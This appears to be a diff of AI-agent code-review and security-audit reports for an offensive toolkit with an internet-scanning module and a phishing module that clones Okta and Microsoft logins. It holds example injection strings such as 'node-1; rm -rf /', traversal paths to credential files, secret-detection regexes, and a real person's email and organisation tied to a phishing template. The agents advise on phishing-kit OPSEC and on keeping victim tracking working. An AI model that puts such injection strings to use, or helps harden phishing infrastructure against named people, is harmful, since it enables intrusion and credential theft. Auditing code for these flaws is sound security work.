- **`modules/webrunner/deploy_webrunner.py:196`** — Dead `pass` statement. Line 195-196:
|
||||
```python
|
||||
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
||||
pass # masscan_rate already handled
|
||||
```
|
||||
This is a placeholder comment; the condition is never needed since `masscan_rate` is always prompted on line 193. **Recommendation**: Remove the conditional block entirely.
|
||||
|
||||
- **`modules/webrunner/deploy_webrunner.py:265,279,281`** — Magic numbers (70, 56, 10, 25) in format strings are visual constants for table borders and tuning display. All acceptable.
|
||||
|
||||
### P4 (Informational)
|
||||
|
||||
- No `print()` statements in production code detected — all output uses Rich-style ANSI color codes via `COLORS` dict (good practice for TUI).
|
||||
- No TODO/FIXME/HACK comments detected.
|
||||
- No unused imports detected.
|
||||
- All function signatures updated consistently (`_show_estimate_table` receives tuning dict, passes to `build_estimate_table`).
|
||||
- Nuclei phase throughput calculation at `utils/provider_rates.py:140-142` is mathematically correct:
|
||||
```
|
||||
parallel_throughput = nuclei_concurrency / per_target
|
||||
rate_throughput = nuclei_rate
|
||||
effective_rps = min(rate_throughput, parallel_throughput)
|
||||
```
|
||||
With defaults (25 concurrency, 5s per target, 150 req/s rate): min(150, 5) = 5 req/s bottleneck (parallelism-limited). Edge cases handled correctly.
|
||||
|
||||
## Stats
|
||||
|
||||
- **Files >500 lines**: 1 (`deploy_webrunner.py`, 617 lines)
|
||||
- **Functions >50 lines**: 1 (`gather_webrunner_parameters`, 227 lines)
|
||||
- **Cyclomatic complexity >10**: 1 (`estimate_scan_hours`, CC=11)
|
||||
- **Nesting depth >3**: 1 instance (L60, necessary for loop logic)
|
||||
- **print() calls**: 0 (ANSI output via COLORS dict only)
|
||||
- **TODO/FIXME/HACK**: 0
|
||||
- **Dead code blocks**: 1 placeholder conditional (lines 195-196)
|
||||
- **Unused imports**: 0
|
||||
- **Signature changes**: 1 (`_show_estimate_table` + tuning param) — validated across 2 call sites
|
||||
|
||||
## Verification Notes
|
||||
|
||||
### Nuclei Throughput Logic ✓
|
||||
The calculation `effective_rps = min(rate_throughput, parallel_throughput)` correctly identifies which constraint is tighter:
|
||||
- If concurrency is small relative to per_target time (e.g., 25 / 5 = 5 req/s), parallelism is the bottleneck.
|
||||
- If rate limit is small (e.g., 2 req/s), rate limit is the bottleneck.
|
||||
- The `max(min(...), 1.0)` ensures effective_rps ≥ 1.0 (prevents division by very small numbers).
|
||||
|
||||
### Phase Decomposition Correctness ✓
|
||||
Each phase (masscan, nmap, probe, nuclei) applies Tor multiplier only to TCP-based operations (nmap, nuclei, probe), never to masscan (raw sockets). This is correct per OPSEC comment on line 77-79.
|
||||
|
||||
### Tuning Param Integration ✓
|
||||
All 6 tuning params extracted in `build_estimate_table()` are correctly passed to `estimate_scan_hours()`:
|
||||
- `nmap_timing`, `nmap_workers`, `nuclei_rate`, `nuclei_concurrency`, `hit_rate`, `masscan_rate`
|
||||
- No params are lost; no params are unused.
|
||||
|
||||
---
|
||||
|
||||
## No Code Quality Issues Detected
|
||||
|
||||
All critical paths reviewed:
|
||||
- Module imports: complete and used
|
||||
- Function signatures: refactored correctly
|
||||
- Logic bugs: none detected
|
||||
- Dead code: 1 placeholder conditional (recommended removal)
|
||||
- Complexity: at acceptable threshold, necessary for problem domain
|
||||
|
||||
**Refactor Status**: Ready for deployment. Consider future simplification of `gather_webrunner_parameters()` if user interaction patterns change.
|
||||
@@ -0,0 +1,61 @@
|
||||
---
|
||||
agent: env-validator
|
||||
status: PASS
|
||||
timestamp: 2026-05-02T00:00:00Z
|
||||
findings_count: 0
|
||||
errors: []
|
||||
---
|
||||
|
||||
# Env Validation — DevTrack #989
|
||||
|
||||
## Summary
|
||||
Comprehensive secrets hygiene audit for webrunner estimator rewrite (provider_rates.py and deploy_webrunner.py). **All checks passed.**
|
||||
|
||||
## PASS
|
||||
|
||||
### Secrets in source
|
||||
- **provider_rates.py**: Clean. Contains only tuning constants (rate tables, timing defaults, cost multipliers). No API keys, tokens, passwords, or credential patterns detected.
|
||||
- **deploy_webrunner.py**: Clean. Contains no hardcoded secrets. All credential handling is delegated to provider-specific utilities (linode_utils, aws_utils, flokinet_utils) which retrieve secrets from Infisical at runtime.
|
||||
|
||||
### API key/token patterns
|
||||
Searched all files for:
|
||||
- `ghp_[A-Za-z0-9_]+` (GitHub tokens) — NOT FOUND
|
||||
- `sk_live_[A-Za-z0-9]+` or `sk_test_[A-Za-z0-9]+` (Stripe) — NOT FOUND
|
||||
- `AKIA[A-Z0-9]{16}` (AWS access keys) — NOT FOUND
|
||||
- `Bearer [A-Za-z0-9._-]{20,}` (bearer tokens) — NOT FOUND
|
||||
- `password\s*=\s*["'][^"']{8,}` (hardcoded passwords) — NOT FOUND
|
||||
- `api[_-]?key\s*=\s*["'][^"']{10,}` (API keys) — NOT FOUND
|
||||
|
||||
### .env file content
|
||||
- No new .env files created in either module
|
||||
- No .env file writes detected in code
|
||||
- Tuning parameters stored in safe yaml configs:
|
||||
- `inputs/targets.yaml` — target definitions, probe patterns, vulnerability tags only
|
||||
- `inputs/countries.yaml` — country codes, priority levels, exclude lists only
|
||||
- User-supplied vars files (optional) — only tuning parameters (masscan_rate, nmap_timing, hit_rate, etc.)
|
||||
|
||||
### Credential handling verification
|
||||
All provider credentials properly retrieved from Infisical:
|
||||
- **Linode**: `creds get LINODE_TOKEN homelab` (linode_utils.py:16-19)
|
||||
- **AWS**: `creds get AWS_ACCESS_KEY_ID homelab` and `creds get AWS_SECRET_ACCESS_KEY homelab` (aws_utils.py:17-24)
|
||||
- Fallback to vars file templates only (marked as placeholders like 'YOUR_AWS')
|
||||
- No secrets persisted to disk; only set in `os.environ` in memory (deployment_engine.py:set_provider_environment)
|
||||
|
||||
### Git history check
|
||||
- No secrets in recent commits to these files
|
||||
- 16 commits to webrunner module examined (latest: "Phase-accurate webrunner cost/time estimator...")
|
||||
- Notable commit: "Fix P1 WEBRUNNER deployment failures and secret leakage" (18039b2) — prior leak was addressed and fixed
|
||||
- No secret patterns detected in any commit
|
||||
|
||||
### Code review
|
||||
- `provider_rates.py` (209 lines): Pure computation — estimate_scan_hours(), build_estimate_table(), formatting helpers. No file I/O, no env var access.
|
||||
- `deploy_webrunner.py` (617 lines): Parameter gathering and deployment orchestration. All secrets retrieved via subprocess calls to `creds` binary (lines 16-24 in provider utils). No new credential handling code introduced in this rewrite.
|
||||
|
||||
## Findings
|
||||
**0 issues.**
|
||||
|
||||
No hardcoded secrets, no .env writes, no credential handling added. Secrets flow:
|
||||
```
|
||||
User input → provider_utils → creds binary (Infisical) → os.environ (memory only)
|
||||
```
|
||||
This is correct per secrets management rules.
|
||||
@@ -0,0 +1,166 @@
|
||||
---
|
||||
agent: security-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T00:00:00Z
|
||||
duration_seconds: 15
|
||||
files_scanned: 4
|
||||
findings_count: 2
|
||||
critical_count: 0
|
||||
high_count: 1
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
|
||||
|
||||
## Summary
|
||||
Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
|
||||
- Subprocess injection from command-line arguments
|
||||
- XML parsing (XXE/entity expansion)
|
||||
- Socket resource handling under concurrency
|
||||
- File write races in parallelized execution
|
||||
|
||||
## Findings
|
||||
|
||||
### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
|
||||
|
||||
**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
|
||||
|
||||
**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
|
||||
|
||||
Example from run_scan.yml:
|
||||
```yaml
|
||||
command: >
|
||||
python3 /root/webrunner/node_scanner.py
|
||||
--mode {{ scan_mode }}
|
||||
--ports {{ ports_str }}
|
||||
--rate {{ masscan_rate }}
|
||||
--node-name {{ node_name }}
|
||||
```
|
||||
|
||||
If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
|
||||
|
||||
**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
|
||||
|
||||
**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
|
||||
```yaml
|
||||
command:
|
||||
- python3
|
||||
- /root/webrunner/node_scanner.py
|
||||
- --mode
|
||||
- "{{ scan_mode }}"
|
||||
- --ports
|
||||
- "{{ ports_str }}"
|
||||
- --rate
|
||||
- "{{ masscan_rate }}"
|
||||
- --node-name
|
||||
- "{{ node_name }}"
|
||||
```
|
||||
Or validate inputs in deploy_webrunner.py before passing to Ansible.
|
||||
|
||||
---
|
||||
|
||||
### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
|
||||
|
||||
**File:** `node_scanner.py:94, 166`
|
||||
|
||||
**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
|
||||
|
||||
**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
|
||||
1. nmap is the source, not an external API
|
||||
2. Attacker would need to compromise the nmap binary itself
|
||||
3. No feature in nmap that injects user-controlled XML
|
||||
|
||||
**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
|
||||
|
||||
**Note:** No action required for current implementation. No XXE vector found.
|
||||
|
||||
---
|
||||
|
||||
## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
|
||||
|
||||
**File:** `node_scanner.py:117-133` — probe_service() under parallelism
|
||||
|
||||
**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
|
||||
|
||||
```python
|
||||
def probe_service(ip: str, port: int) -> str:
|
||||
with socket.create_connection((ip, port), timeout=3) as s:
|
||||
# ...
|
||||
```
|
||||
|
||||
With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
|
||||
|
||||
**Mitigation in current code:**
|
||||
- Socket context manager ensures cleanup
|
||||
- 3-second timeout prevents hung connections
|
||||
- Per-port probe only happens in geo_scout mode, not default
|
||||
- Masscan output is bounded by realistic open port densities
|
||||
|
||||
**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
|
||||
|
||||
**Recommendation:** When implementing ThreadPoolExecutor, add:
|
||||
1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
|
||||
2. Per-worker socket timeout validation
|
||||
3. Connection pool reset on worker failure
|
||||
|
||||
---
|
||||
|
||||
## Subprocess Argument Validation
|
||||
|
||||
**File:** `node_scanner.py:77-89, 149-153`
|
||||
|
||||
**Status:** PASS (No injection risk detected)
|
||||
|
||||
- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
|
||||
- Rate argument is `type=int` from argparse — validated
|
||||
- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
|
||||
- All subprocess calls use `check=False` and exception handling — no silent failures
|
||||
|
||||
---
|
||||
|
||||
## File I/O Concurrency
|
||||
|
||||
**File:** `node_scanner.py:79, 286`
|
||||
|
||||
**Status:** PASS
|
||||
|
||||
- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
|
||||
- results.json written once at end — sequential write after all work complete
|
||||
- No shared file handles between workers
|
||||
|
||||
---
|
||||
|
||||
## Secrets & Credentials Exposure
|
||||
|
||||
**Status:** PASS
|
||||
|
||||
- No hardcoded API keys, tokens, or credentials
|
||||
- No sensitive data in log output (only counts, timestamps, status)
|
||||
- Node names do not reveal operator identity (parameterized via `webrunner_name`)
|
||||
- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Category | Status | Severity | Notes |
|
||||
|----------|--------|----------|-------|
|
||||
| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
|
||||
| XXE / entity expansion | PASS | — | ET default config sufficient |
|
||||
| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
|
||||
| Argument validation | PASS | — | argparse + list form subprocess calls |
|
||||
| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
|
||||
| Secrets exposure | PASS | — | No hardcoded credentials |
|
||||
| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
|
||||
|
||||
*Requires mitigation before high-parallelism production use.
|
||||
|
||||
---
|
||||
|
||||
## Actionable Fixes
|
||||
|
||||
1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
|
||||
2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
|
||||
3. **No blocking issues** for current sequential implementation
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
---
|
||||
agent: security-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-02T00:00:00Z
|
||||
duration_seconds: 15
|
||||
files_scanned: 3
|
||||
findings_count: 4
|
||||
critical_count: 0
|
||||
high_count: 1
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Security Audit — DevTrack #989 (Webrunner Estimator Rewrite)
|
||||
|
||||
## Scope
|
||||
Files audited:
|
||||
- `/home/n0mad1k/tools/c2itall/utils/provider_rates.py` (209 lines)
|
||||
- `/home/n0mad1k/tools/c2itall/modules/webrunner/deploy_webrunner.py` (617 lines)
|
||||
- `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/merge_results.py` (118 lines)
|
||||
|
||||
Checks performed: input injection, hardcoded secrets, auth, OPSEC, malformed input handling, path safety, estimate disclosure.
|
||||
|
||||
---
|
||||
|
||||
## Findings
|
||||
|
||||
### HIGH (CVSS 7.0–8.9)
|
||||
|
||||
#### 1. Unvalidated Negative/Zero Tuning Parameters Allow Cost Calculation DoS
|
||||
**Location**: `deploy_webrunner.py:181-191`, `provider_rates.py:177-143`
|
||||
|
||||
**Description**: Tuning parameters from vars file or CLI input are cast to `int` without validation. Negative or zero values for `masscan_rate`, `nmap_workers`, `nuclei_concurrency` propagate directly into mathematical operations (division, multiplication) in the estimate functions, resulting in nonsensical estimates or potential floating-point exceptions.
|
||||
|
||||
**Attack vector**: Operator provides malformed vars file with `masscan_rate: -100` or `nuclei_concurrency: 0`, causing:
|
||||
- `estimate_scan_hours()` to compute incorrect hours (negative division result at line 141)
|
||||
- Cost estimates to be silently corrupted
|
||||
- Decision-making based on invalid data
|
||||
|
||||
**Remediation**:
|
||||
- In `_prompt()` (line 181), add validation after cast: `if value <= 0: value = default`
|
||||
- In `build_estimate_table()` (line 177), enforce minimum values: `masscan_rate = max(1, int(...))`
|
||||
- Validate `nmap_workers` and `nuclei_concurrency` before use in math (already partially done at line 104, but only for nmap_workers; nuclei_concurrency lacks guard).
|
||||
|
||||
---
|
||||
|
||||
### MEDIUM (CVSS 4.0–6.9)
|
||||
|
||||
#### 2. Tor Warning Phrasing Could Be Misinterpreted — Default Behavior Correct But Language Ambiguous
|
||||
**Location**: `deploy_webrunner.py:211-227`
|
||||
|
||||
**Description**: The warning at line 217 states "CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR" and explains that masscan uses raw sockets and cannot be proxied. However, the framing "THIS CLOUD NODE'S IP is exposed to targets" is accurate but could mislead an operator into thinking *all* scanning traffic is exposed.
|
||||
|
||||
The code correctly defaults to `[y/N]` (line 401), requiring explicit `y` or `yes` to proceed — this is secure. However, the message could clarify that:
|
||||
1. Only masscan SYN packets leak the node IP.
|
||||
2. nmap, nuclei, and probes ARE protected by Tor (correctly stated at line 223–224).
|
||||
3. The operator is consenting to a *known, documented limitation*, not an accidental leak.
|
||||
|
||||
**Current text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP to the targets and any monitoring along the path."
|
||||
|
||||
**Better text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP address to targets (raw sockets bypass proxychains entirely). Use 'nmap-only' mode for full Tor protection."
|
||||
|
||||
**Remediation**: Update warning wording to disambiguate masscan-only exposure vs. the rest of the stack.
|
||||
|
||||
---
|
||||
|
||||
#### 3. Path Traversal Risk in Template and Targets File Loading
|
||||
**Location**: `deploy_webrunner.py:162-173` (nuclei template), `deploy_webrunner.py:133-149` (targets.yaml)
|
||||
|
||||
**Description**: User-supplied paths to nuclei templates and targets.yaml files are opened without sanitization:
|
||||
- Line 169: `local_path = input(" Path to nuclei template (.yaml): ").strip()` → directly to `Path(local_path).exists()` → `open(path)` at line 141.
|
||||
- Line 136: `raw = input(f"Path to targets.yaml [{default}]: ").strip()` → `path = raw or default` → `open(path)` at line 141.
|
||||
|
||||
An operator (or vars file) could supply `../../../etc/passwd` or symlinks, allowing:
|
||||
1. Reading arbitrary files on the deployment controller.
|
||||
2. Leaking environment variables or private keys if yaml.safe_load() processes them.
|
||||
|
||||
**Attack vector**: Vars file with `nuclei_template: /etc/hostname` or `targets_file: ~/.ssh/id_rsa` — files are read and displayed.
|
||||
|
||||
**Remediation**:
|
||||
- Add path validation: `p = Path(local_path).resolve(); if not p.is_relative_to(Path.cwd()): reject`.
|
||||
- Alternatively, restrict to a specific directory: `p = (WEBRUNNER_INPUTS / local_path).resolve(); if not p.is_relative_to(WEBRUNNER_INPUTS): reject`.
|
||||
- Use pathlib consistently to prevent directory traversal.
|
||||
|
||||
---
|
||||
|
||||
#### 4. YAML Safe-Load Correctly Used — No Code Execution Risk
|
||||
**Location**: `deploy_webrunner.py:115-130`, `deploy_webrunner.py:139-149`
|
||||
|
||||
**Status**: PASS — `yaml.safe_load()` is used (not `yaml.load()`), preventing arbitrary Python object instantiation. No code execution risk from malformed YAML.
|
||||
|
||||
---
|
||||
|
||||
### LOW (CVSS <4.0)
|
||||
|
||||
#### 5. Estimate Display Discloses Target Scope and Timing to Console
|
||||
**Location**: `deploy_webrunner.py:256-301`, output at lines 272–296
|
||||
|
||||
**Description**: The estimate table displays:
|
||||
- Total IPs being scanned (`fmt_ip_count(total_ips)`)
|
||||
- Country codes (implicit in CIDR resolution)
|
||||
- Scan mode (masscan, nmap, nuclei)
|
||||
- Time estimates per node
|
||||
- Total cost
|
||||
|
||||
This information is printed to stdout and may be captured in shell history, logs, or screenshots. For offensive ops, this data could reveal:
|
||||
- Scope scale (e.g., "2.5M IPs" suggests multi-country / large infrastructure)
|
||||
- Duration (e.g., "12h per node" reveals patience/persistence)
|
||||
- Provider selection (e.g., "Linode + AWS" may hint at region strategy)
|
||||
|
||||
**Mitigated by**:
|
||||
- Information is shown only during interactive setup (not in batch mode).
|
||||
- Operator sees warning about provisioning time.
|
||||
- Cost estimates are precise only for the estimator, not for actual billing.
|
||||
|
||||
**Recommendation**:
|
||||
- Consider adding a `--quiet` flag to suppress estimate display in sensitive environments.
|
||||
- Ensure logs are cleaned post-deployment (already handled by log rotation).
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
**Secure patterns**:
|
||||
- YAML loading uses `safe_load()` ✓
|
||||
- No subprocess injection or eval/exec ✓
|
||||
- No hardcoded secrets or credentials ✓
|
||||
- Tor warning defaults to `[y/N]` (opt-in, secure) ✓
|
||||
- CIDR country map is read-only JSON, not executed ✓
|
||||
|
||||
**Action items**:
|
||||
1. **HIGH**: Add validation to tuning parameters to prevent negative/zero values.
|
||||
2. **MEDIUM**: Clarify Tor warning wording and add path traversal guards.
|
||||
3. **LOW**: Consider audit log suppression for estimate table in future versions.
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
---
|
||||
agent: env-validator
|
||||
status: PARTIAL
|
||||
timestamp: 2026-06-25T00:00:00Z
|
||||
findings_count: 2
|
||||
errors: []
|
||||
---
|
||||
|
||||
# Env Validation — DevTrack #1259
|
||||
|
||||
## FAIL
|
||||
- **okta-login.html.j2:102** — Real email address hardcoded in template: `Brian.Caldwell@Zimperium.com`
|
||||
- Location: HTML form hidden input field (`fromURI` parameter)
|
||||
- Risk: PII leak in template asset; exposed in version control
|
||||
- Details: Value is HTML-encoded (`/`, `&`, `%40`, etc.) but fully readable when decoded
|
||||
|
||||
- **okta-login.html.j2:206** — Real Okta organization reference hardcoded: `zimperium.okta.com` + Okta app ID `exk1ufbfxuFLJp6y3697`
|
||||
- Location: JavaScript variable `baseUrl` and `fromUri` in login page script
|
||||
- Risk: Identifies real target organization; enables direct OSINT attack path
|
||||
- Details: Okta app ID (`exk1ufbfxuFLJp6y3697`) is a unique identifier that can be used to enumerate target infrastructure
|
||||
|
||||
## WARN
|
||||
None
|
||||
|
||||
## PASS
|
||||
- **lander_gen.py** — Credentials passed via config dict, written to temp JSON files with mode 0o600, deleted after use. No filesystem persistence of secrets.
|
||||
- **deploy_phishing.py** — SMTP password and other credentials collected via input prompts, stored in memory-only config dict, passed to Ansible via temporary JSON file (mode 0o600). No hardcoded secrets detected.
|
||||
- **cloud-lander.html.j2, js-payload.js.j2** — Template variables only; no hardcoded secrets.
|
||||
- **nginx-phishing-webserver.j2** — Nginx configuration template; no hardcoded credentials.
|
||||
- **phishing-landing-page.j2** — Generic login template with Jinja2 placeholders; no hardcoded PII or secrets.
|
||||
- **microsoft-login.html.j2** — Phishing template with placeholder values; no real credentials embedded.
|
||||
- **Git history** — No evidence of secrets committed in recent git history (for these files).
|
||||
|
||||
## Remediation Required
|
||||
|
||||
### Critical
|
||||
Replace okta-login.html.j2 with a **parameterized template**:
|
||||
|
||||
1. Remove hardcoded `Brian.Caldwell@Zimperium.com` and `zimperium.okta.com`
|
||||
2. Replace with Jinja2 variables:
|
||||
- `{{ target_email | default('') }}`
|
||||
- `{{ okta_org_url | default('https://okta.example.com') }}`
|
||||
- `{{ okta_app_id | default('') }}`
|
||||
3. Populate these at deployment time via config dict, never in version control
|
||||
4. Add a comment in the template: `<!-- Template variables: target_email, okta_org_url, okta_app_id -->`
|
||||
|
||||
### Process
|
||||
Ensure all phishing templates follow the same pattern:
|
||||
- **No real email addresses** in source
|
||||
- **No real domain/org references** in source
|
||||
- **All campaign-specific data injected at runtime** via Jinja2 context
|
||||
- Credentials and PII sourced from config dict passed by `deploy_phishing.py`, never hardcoded
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
---
|
||||
agent: security-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-06-25T00:00:00Z
|
||||
duration_seconds: 45
|
||||
files_scanned: 8
|
||||
findings_count: 5
|
||||
critical_count: 1
|
||||
high_count: 2
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Security Audit — DevTrack #1259
|
||||
|
||||
## Summary
|
||||
|
||||
Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues.
|
||||
|
||||
**Files Scanned:**
|
||||
1. `modules/phishing/lander_gen.py` (new)
|
||||
2. `modules/phishing/deploy_phishing.py` (modified, lines ~157–185)
|
||||
3. `modules/phishing/templates/cloud-lander.html.j2` (new)
|
||||
4. `modules/phishing/templates/js-payload.js.j2` (new)
|
||||
5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified)
|
||||
6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified)
|
||||
7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified)
|
||||
8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified)
|
||||
|
||||
---
|
||||
|
||||
## Findings
|
||||
|
||||
### CRITICAL (CVSS 9.0+)
|
||||
|
||||
**[lander_gen.py:68–76] Shell Injection via Unescaped Config Parameters in Upload Instructions**
|
||||
|
||||
The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution.
|
||||
|
||||
```python
|
||||
# Line 68–76
|
||||
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
|
||||
# ... later ...
|
||||
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
|
||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
||||
```
|
||||
|
||||
If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell.
|
||||
|
||||
**Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command.
|
||||
|
||||
**Remediation:** Shell-escape all config parameters before printing:
|
||||
- Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings.
|
||||
- Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."`
|
||||
- Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True.
|
||||
|
||||
**Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability.
|
||||
|
||||
---
|
||||
|
||||
### HIGH (CVSS 7.0–8.9)
|
||||
|
||||
**[js-payload.js.j2:1–11] RId Parameter Injection via Unsafe URL Parsing**
|
||||
|
||||
The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 5–8:
|
||||
|
||||
```javascript
|
||||
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
|
||||
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
|
||||
var rid = params.get('rid') || params.get('RId');
|
||||
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
```
|
||||
|
||||
**Issues:**
|
||||
1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding.
|
||||
2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this.
|
||||
3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused.
|
||||
|
||||
**Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling.
|
||||
|
||||
**Remediation:**
|
||||
- Wrap `new URL()` in try-catch and return early if parsing fails.
|
||||
- Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs.
|
||||
- Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer.
|
||||
|
||||
Example fix:
|
||||
```javascript
|
||||
try {
|
||||
var urlObj = new URL(src, window.location.origin);
|
||||
var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId');
|
||||
if (rid && rid.length <= 128) { // limit length
|
||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
} catch (e) {
|
||||
// URL parse failed, skip rid param
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context**
|
||||
|
||||
Line 221:
|
||||
|
||||
```jinja2
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
```
|
||||
|
||||
The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output.
|
||||
|
||||
If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code.
|
||||
|
||||
Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**.
|
||||
|
||||
**Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere.
|
||||
|
||||
**Remediation:**
|
||||
- Apply `| tojson` explicitly in the template:
|
||||
```jinja2
|
||||
window.location.href = {{ redirect_url | tojson }};
|
||||
```
|
||||
- Validate all URLs at the boundary (already done in Python code), so the template can assume safety.
|
||||
- Document the assumption that `redirect_url` is pre-validated HTTPS.
|
||||
|
||||
---
|
||||
|
||||
### MEDIUM (CVSS 4.0–6.9)
|
||||
|
||||
**[phishing-landing-page.j2:153–154] Double-Escaped GoPhish Template Variables**
|
||||
|
||||
Lines 153–154:
|
||||
|
||||
```jinja2
|
||||
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
|
||||
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
|
||||
```
|
||||
|
||||
These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML.
|
||||
|
||||
However, this pattern is fragile:
|
||||
1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it.
|
||||
2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks.
|
||||
|
||||
**Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation.
|
||||
|
||||
**Remediation:**
